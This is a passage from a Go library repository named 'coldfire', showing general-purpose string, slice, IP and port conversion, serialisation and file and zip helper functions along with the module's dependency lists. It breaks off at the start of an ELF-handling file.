func(i, j int) { 160 | s[i], s[j] = s[j], s[i] 161 | }) 162 | return s 163 | } 164 | 165 | // IpIncrement increments an IP address by 1. 166 | func IpIncrement(ip net.IP) { 167 | for j := len(ip) - 1; j >= 0; j-- { 168 | ip[j]++ 169 | if ip[j] > 0 { 170 | break 171 | } 172 | } 173 | } 174 | 175 | // Revert returns a reversed string. 176 | func Revert(s string) string { 177 | r := []rune(s) 178 | for i, j := 0, len(r)-1; i < len(r)/2; i, j = i+1, j-1 { 179 | r[i], r[j] = r[j], r[i] 180 | } 181 | return string(r) 182 | } 183 | 184 | // Contains is used to check if an element exists in an array type agnostically. 185 | func Contains(s interface{}, elem interface{}) bool { 186 | arrV := reflect.ValueOf(s) 187 | if arrV.Kind() == reflect.Slice { 188 | for i := 0; i < arrV.Len(); i++ { 189 | if arrV.Index(i).Interface() == elem { 190 | return true 191 | } 192 | } 193 | } 194 | return false 195 | } 196 | 197 | // Str2Words returns a list of strings which was split by spaces. 198 | func Str2Words(s string) []string { 199 | words := []string{} 200 | gr := strings.Split(s, " ") 201 | for x := range gr { 202 | z := gr[x] 203 | if len(z) != 0 { 204 | words = append(words, z) 205 | } 206 | } 207 | return words 208 | } 209 | 210 | // Size2Bytes converts a human friendly string indicating size into a proper integer. 211 | func Size2Bytes(size string) int { 212 | period_letter := string(size[len(size)-1]) 213 | intr := string(size[:len(size)-1]) 214 | i, _ := strconv.Atoi(intr) 215 | switch period_letter { 216 | case "g": 217 | return i * 1024 * 1024 * 1024 218 | case "m": 219 | return i * 1024 * 1024 220 | case "k": 221 | return i * 1024 222 | } 223 | return i 224 | } 225 | 226 | // Interval2Seconds converts a human friendly string indicating time into a proper integer. 227 | func Interval2Seconds(interval string) int { 228 | period_letter := string(interval[len(interval)-1]) 229 | intr := string(interval[:len(interval)-1]) 230 | i, _ := strconv.Atoi(intr) 231 | switch period_letter { 232 | case "s": 233 | return i 234 | case "m": 235 | return i * 60 236 | case "h": 237 | return i * 3600 238 | case "d": 239 | return i * 24 * 3600 240 | } 241 | return i 242 | } 243 | 244 | // File2Slice reads a textfile and returns all lines as an array. 245 | func File2Slice(file string) []string { 246 | fil, _ := os.Open(file) 247 | defer fil.Close() 248 | var lines []string 249 | scanner := bufio.NewScanner(fil) 250 | for scanner.Scan() { 251 | lines = append(lines, scanner.Text()) 252 | } 253 | return lines 254 | } 255 | 256 | // RemoveNewLines removes possible newlines from a string. 257 | func RemoveNewlines(s string) string { 258 | re := regexp.MustCompile(`\r?\n`) 259 | s = re.ReplaceAllString(s, " ") 260 | return s 261 | } 262 | 263 | // FullRemove removes all instances of a string from another string. 264 | func FullRemove(str string, to_remove string) string { 265 | return strings.Replace(str, to_remove, "", -1) 266 | } 267 | 268 | // RemoveDuplicatesStr returns an array of strings that are unique to each other. 269 | func RemoveDuplicatesStr(slice []string) []string { 270 | keys := make(map[string]bool) 271 | list := []string{} 272 | for _, entry := range slice { 273 | if _, value := keys[entry]; !value { 274 | keys[entry] = true 275 | list = append(list, entry) 276 | } 277 | } 278 | return list 279 | } 280 | 281 | // Removes Nth index from generic slice if idx != 0; removes last element otherwise 282 | func RemoveNth(slic interface{}, idx int) interface{} { 283 | slen := idx 284 | if idx == 0 { 285 | slen = reflect.ValueOf(slic).Len() 286 | } 287 | v := reflect.ValueOf(slic).Elem() 288 | v.Set(reflect.AppendSlice(v.Slice(0, slen), v.Slice(slen+1, v.Len()))) 289 | return v 290 | } 291 | 292 | // RemoveDuplicatesInt returns an array of integers that are unique to each other. 293 | func RemoveDuplicatesInt(slice []int) []int { 294 | keys := make(map[int]bool) 295 | list := []int{} 296 | for _, entry := range slice { 297 | if _, value := keys[entry]; !value { 298 | keys[entry] = true 299 | list = append(list, entry) 300 | } 301 | } 302 | return list 303 | } 304 | 305 | // Checks if a string exists within a list of strings. 306 | func ContainsAny(str string, elements []string) bool { 307 | for element := range elements { 308 | e := elements[element] 309 | if strings.Contains(str, e) { 310 | return true 311 | } 312 | } 313 | return false 314 | } 315 | 316 | // Converts an IPv4 address to hex 317 | func IP2Hex(ip string) string { 318 | ip_obj := net.ParseIP(ip) 319 | return iplib.IPToHexString(ip_obj) 320 | } 321 | 322 | // Converts a port to hex 323 | func Port2Hex(port int) string { 324 | hexval := fmt.Sprintf("0x%x", port) 325 | hexval_without_prefix := FullRemove(hexval, "0x") 326 | two_bytes_slice := SplitChunks(hexval_without_prefix, 2) 327 | return fmt.Sprintf("0x%s%s", two_bytes_slice[1], two_bytes_slice[0]) 328 | } 329 | 330 | // Returns names of fields and their values in struct + names of fields with unitialized/empty values 331 | // -1 value is treated as unitialized int field - you can change "val == -1" according to your needs 332 | func Introspect(strct interface{}) (map[string]interface{}, []string) { 333 | nil_fields := []string{} 334 | strctret := make(map[string]interface{}) 335 | strctval := reflect.ValueOf(strct) 336 | for i := 0; i < strctval.NumField(); i++ { 337 | val := strctval.Field(i).Interface() 338 | fld := strctval.Type().Field(i).Name 339 | strctret[fld] = val 340 | if val == -1 || val == nil || val == "" { 341 | nil_fields = append(nil_fields, fld) 342 | } 343 | } 344 | return strctret, nil_fields 345 | } 346 | 347 | // Checks if a generic is iterable and non-emptty 348 | func IsIterable(v interface{}) bool { 349 | return (reflect.TypeOf(v).Kind() == reflect.Slice && reflect.ValueOf(v).Len() >= 1) 350 | } 351 | 352 | // Generic boolean truth checker 353 | func BoolCheck(boolean interface{}) bool { 354 | bval := reflect.ValueOf(boolean) 355 | slen := bval.Len() 356 | switch v := boolean.(type) { 357 | case []int: 358 | if slen != 0 { 359 | return true 360 | } 361 | case []string: 362 | if slen != 0 { 363 | return true 364 | } 365 | case []bool: 366 | if slen != 0 { 367 | return true 368 | } 369 | case int: 370 | if bval.Int() == 1 { 371 | return true 372 | } 373 | case float64: 374 | if v == 0.0 { 375 | return true 376 | } 377 | case string: 378 | if slen == 0 { 379 | return true 380 | } 381 | case bool: 382 | if bval.Bool() { 383 | return true 384 | } 385 | } 386 | return false 387 | } 388 | 389 | // Unified serializer/deserializer for structs - logic is based on whether a .gob file already exists 390 | func Serializer(gobpath string, obj interface{}) { 391 | if Exists(gobpath) { 392 | gobfile, err := os.Open(gobpath) 393 | Check(err) 394 | decoder := gob.NewDecoder(gobfile) 395 | decoder.Decode(obj) 396 | gobfile.Close() 397 | } else { 398 | gobfile, err := os.Create(gobpath) 399 | Check(err) 400 | encoder := gob.NewEncoder(gobfile) 401 | encoder.Encode(obj) 402 | gobfile.Close() 403 | } 404 | } 405 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/redcode-labs/Coldfire 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/GeertJohan/yubigo v0.0.0-20190917122436-175bc097e60e 7 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770 8 | github.com/beevik/ntp v1.3.1 9 | github.com/c-robinson/iplib v1.0.3 10 | github.com/fatih/color v1.13.0 11 | github.com/go-sql-driver/mysql v1.7.1 12 | github.com/google/uuid v1.3.0 13 | github.com/jackpal/gateway v1.0.7 14 | github.com/lib/pq v1.10.9 15 | github.com/matishsiao/goInfo v0.0.0-20210923090445-da2e3fa8d45f 16 | github.com/mattn/go-colorable v0.1.11 // indirect 17 | github.com/mitchellh/go-homedir v1.1.0 18 | github.com/mitchellh/go-ps v1.0.0 19 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8 20 | github.com/yalue/elf_reader v1.0.0 21 | github.com/ztrue/tracerr v0.4.0 22 | golang.org/x/crypto v0.31.0 23 | golang.org/x/sys v0.28.0 24 | ) 25 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/GeertJohan/yubigo v0.0.0-20190917122436-175bc097e60e h1:Bqtt5C+uVk+vH/t5dmB47uDCTwxw16EYHqvJnmY2aQc= 2 | github.com/GeertJohan/yubigo v0.0.0-20190917122436-175bc097e60e/go.mod h1:njRCDrl+1RQ/A/+KVU8Ho2EWAxUSkohOWczdW3dzDG0= 3 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770 h1:1KEvfMGAjISVzk3Ti6pfaOgtoC3naoU0LfiJooZDNO8= 4 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770/go.mod h1:QGzdstKeoHmMWwi9oNHZ7DQzEj9pi7H42171pkj9htk= 5 | github.com/beevik/ntp v1.3.1 h1:Y/srlT8L1yQr58kyPWFPZIxRL8ttx2SRIpVYJqZIlAM= 6 | github.com/beevik/ntp v1.3.1/go.mod h1:fT6PylBq86Tsq23ZMEe47b7QQrZfYBFPnpzt0a9kJxw= 7 | github.com/c-robinson/iplib v1.0.3 h1:NG0UF0GoEsrC1/vyfX1Lx2Ss7CySWl3KqqXh3q4DdPU= 8 | github.com/c-robinson/iplib v1.0.3/go.mod h1:i3LuuFL1hRT5gFpBRnEydzw8R6yhGkF4szNDIbF8pgo= 9 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 11 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 13 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 14 | github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI= 15 | github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= 16 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 17 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= 18 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 19 | github.com/jackpal/gateway v1.0.7 h1:7tIFeCGmpyrMx9qvT0EgYUi7cxVW48a0mMvnIL17bPM= 20 | github.com/jackpal/gateway v1.0.7/go.mod h1:aRcO0UFKt+MgIZmRmvOmnejdDT4Y1DNiNOsSd1AcIbA= 21 | github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= 22 | github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= 23 | github.com/matishsiao/goInfo v0.0.0-20210923090445-da2e3fa8d45f h1:B0OD7nYl2FPQEVrw8g2uyc1lGEzNbvrKh7fspGZcbvY= 24 | github.com/matishsiao/goInfo v0.0.0-20210923090445-da2e3fa8d45f/go.mod h1:aEt7p9Rvh67BYApmZwNDPpgircTO2kgdmDUoF/1QmwA= 25 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 26 | github.com/mattn/go-colorable v0.1.11 h1:nQ+aFkoE2TMGc0b68U2OKSexC+eq46+XwZzWXHRmPYs= 27 | github.com/mattn/go-colorable v0.1.11/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= 28 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 29 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 30 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 31 | github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= 32 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= 33 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= 34 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= 35 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 36 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 37 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8 h1:ajJQhvqPSQFJJ4aV5mDAMx8F7iFi6Dxfo6y62wymLNs= 38 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8/go.mod h1:Nw/CCOXNyF5JDd6UpYxBwG5WWZ2FOJ/d5QnXL4KQ6vY= 39 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 40 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 41 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 42 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 43 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 44 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 45 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 46 | github.com/yalue/elf_reader v1.0.0 h1:mJgyV2pk7Lm5BEfVbGrecaMLx6ZZuB/y8eAGm1Gln48= 47 | github.com/yalue/elf_reader v1.0.0/go.mod h1:2WMcv9f54UGq8H2MU4EHstdkSl0L0v2AycubDcDtpVU= 48 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 49 | github.com/ztrue/tracerr v0.4.0 h1:vT5PFxwIGs7rCg9ZgJ/y0NmOpJkPCPFK8x0vVIYzd04= 50 | github.com/ztrue/tracerr v0.4.0/go.mod h1:PaFfYlas0DfmXNpo7Eay4MFhZUONqvXM+T2HyGPpngk= 51 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 52 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 53 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= 54 | golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= 55 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 56 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 57 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= 58 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 59 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 60 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 61 | golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 62 | golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 63 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 64 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 65 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 66 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 67 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 68 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 69 | golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= 70 | golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= 71 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 72 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 73 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 74 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 75 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 76 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 77 | golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= 78 | golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 79 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 80 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 81 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 82 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 83 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 84 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 85 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 86 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 87 | golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 88 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 89 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 90 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 91 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 92 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 93 | golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 94 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 95 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 96 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= 97 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 98 | golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= 99 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 100 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 101 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 102 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 103 | golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= 104 | golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= 105 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 106 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 107 | golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= 108 | golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= 109 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 110 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 111 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 112 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 113 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 114 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 115 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 116 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 117 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 118 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 119 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 120 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 121 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 122 | golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= 123 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 124 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 125 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 126 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 127 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 128 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 129 | -------------------------------------------------------------------------------- /io.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "archive/zip" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | // ReadFile is used to read a given file and return its data as a string. 13 | func ReadFile(filename string) (string, error) { 14 | f, err := os.Open(filename) 15 | if err != nil { 16 | return "", err 17 | } 18 | defer f.Close() 19 | 20 | b, err := ioutil.ReadAll(f) 21 | if err != nil { 22 | return "", err 23 | } 24 | 25 | return string(b), nil 26 | } 27 | 28 | func IOReader(file string) io.ReaderAt { 29 | r, err := os.Open(file) 30 | Check(err) 31 | return r 32 | } 33 | 34 | // WriteFile is used to write data into a given file. 35 | func WriteFile(filename, data string) error { 36 | file, err := os.Create(filename) 37 | if err != nil { 38 | return err 39 | } 40 | defer file.Close() 41 | 42 | _, err = io.WriteString(file, data) 43 | if err != nil { 44 | return err 45 | } 46 | 47 | return nil 48 | } 49 | 50 | // FilesPattern is used to return data mapped to files 51 | // where their filenames match a given pattern. 52 | func FilesPattern(directory, pattern string) (map[string]string, error) { 53 | out_map := map[string]string{} 54 | files, err := os.ReadDir(directory) 55 | if err != nil { 56 | return nil, err 57 | } 58 | 59 | for _, f := range files { 60 | fl, err := ReadFile(f.Name()) 61 | 62 | if err != nil { 63 | return nil, err 64 | } 65 | 66 | if strings.Contains(fl, pattern) { 67 | out_map[f.Name()], err = ReadFile(f.Name()) 68 | if err != nil { 69 | return nil, err 70 | } 71 | } 72 | } 73 | 74 | return out_map, nil 75 | } 76 | 77 | // CopyFile copies a file from one directory to another. 78 | func CopyFile(src, dst string) error { 79 | sourceFileStat, err := os.Stat(src) 80 | if err != nil { 81 | return err 82 | } 83 | 84 | if !sourceFileStat.Mode().IsRegular() { 85 | return fmt.Errorf("%s is not a regular file", src) 86 | } 87 | 88 | source, err := os.Open(src) 89 | if err != nil { 90 | return err 91 | } 92 | defer source.Close() 93 | 94 | destination, err := os.Create(dst) 95 | if err != nil { 96 | return err 97 | } 98 | defer destination.Close() 99 | 100 | _, err = io.Copy(destination, source) 101 | return err 102 | } 103 | 104 | // MakeZip packs a list of given files within a zip archive. 105 | func MakeZip(zip_file string, files []string) error { 106 | newZipFile, err := os.Create(zip_file) 107 | if err != nil { 108 | return err 109 | } 110 | defer newZipFile.Close() 111 | 112 | zipWriter := zip.NewWriter(newZipFile) 113 | defer zipWriter.Close() 114 | 115 | for _, file := range files { 116 | fileToZip, err := os.Open(file) 117 | if err != nil { 118 | return err 119 | } 120 | defer fileToZip.Close() 121 | info, err := fileToZip.Stat() 122 | if err != nil { 123 | return err 124 | } 125 | header, err := zip.FileInfoHeader(info) 126 | if err != nil { 127 | return err 128 | } 129 | header.Name = file 130 | header.Method = zip.Deflate 131 | writer, err := zipWriter.CreateHeader(header) 132 | if err != nil { 133 | return err 134 | } 135 | _, err = io.Copy(writer, fileToZip) 136 | if err != nil { 137 | return err 138 | } 139 | } 140 | 141 | return nil 142 | } 143 | -------------------------------------------------------------------------------- /low.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "debug/elf" 5 | "github.com/yalue/elf_reader" 6 | "os" 7 | "bytes" 8 | ) 9 | 10 | func EqualBytes(b1, b2 byte) bool { 11 | s1 := make([]byte, 1) 12 | s1[0] = b1 13 | s2 := 